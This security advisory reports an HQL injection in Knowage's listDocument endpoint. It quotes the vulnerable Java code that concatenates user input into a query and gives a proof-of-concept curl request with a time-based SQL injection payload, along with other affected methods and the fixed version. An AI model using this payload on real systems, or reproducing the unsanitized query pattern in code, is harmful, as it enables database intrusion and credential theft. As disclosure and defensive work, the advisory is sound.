The application often uses user-supplied data to create HQL queries without prior sanitization.
An attacker can create specially crafted HQL queries that will break the subsequent SQL queries generated by the Hibernate engine.
Synacktiv experts identified that the /knowage/restful-services/2.0/documents/listDocument endpoint calls the countBIObjects method of the BIObjectDAOHibImpl object with the user-supplied label parameter without prior sanitization.

// knowage-core/src/main/java/it/eng/spagobi/api/v2/DocumentResource.java
public String getDocumentSearchAndPaginate( /*[...]*/, @QueryParam("label") String label, /*[...]*/) throws EMFInternalError {
    // [...]
    jo.put("itemCount", documentsDao.countBIObjects(label != null ? label : "", UserFilter));

    return jo.toString();

// knowagedao/src/main/java/it/eng/spagobi/analiticalmodel/document/dao/BIObjectDAOHibImpl.java
public Integer countBIObjects(String search, String user) throws EMFUserError {
    // [...]
    String hql = "select count(*) from SbiObjects ";
    if (search != null || user != null) {
        hql += " where ";

        if (search != null) {
            hql += " label like '%" + search + "%'";
        }
    }

    Query hqlQuery = aSession.createQuery(hql);
    Long temp = (Long) hqlQuery.uniqueResult();
    /// [...]

We can demonstrate the vulnerability by breaking the SQL query generated by Hibernate with the “\’’” escape sequence and call the MySQL sleep function, that will result in a delayed response from the server:

$ time curl -q -H 'Cookie: JSESSIONID=[...]' "http://localhost:8088/knowage/restful-services/2.0/documents/listDocument?label=a%5c'')+order+by+(select+sleep(5));--+-" >/dev/null

real    0m5,014s
user    0m0,010s
sys     0m0,000s

Other injections have been identified in the application, notably in the following files, but were not demonstrated by Synacktiv experts as they either require authorization to be reached, or were not called by any identified endpoint or service:

• knowagedao/src/main/java/it/eng/spagobi/tools/udp/dao/UdpValueDAOHibImpl.java@loadByReferenceIdAndUdpId
• knowagedao/src/main/java/it/eng/spagobi/tools/udp/dao/UdpValueDAOHibImpl.java@findByReferenceId
• knowagedao/src/main/java/it/eng/spagobi/tools/dataset/dao/SbiDataSetDAOImpl.java@countSbiDataSet
• knowagedao/src/main/java/it/eng/spagobi/metadata/dao/SbiMetaTableDAOHibImpl.java@countSbiMetaTable

Impact

An authenticated attacker with low privileges could leverage this vulnerability in order to retrieve sensitive information from the database, such as account credentials or business information.

Patches

You need to upgrade to Knowage 8.1.8 or a later version.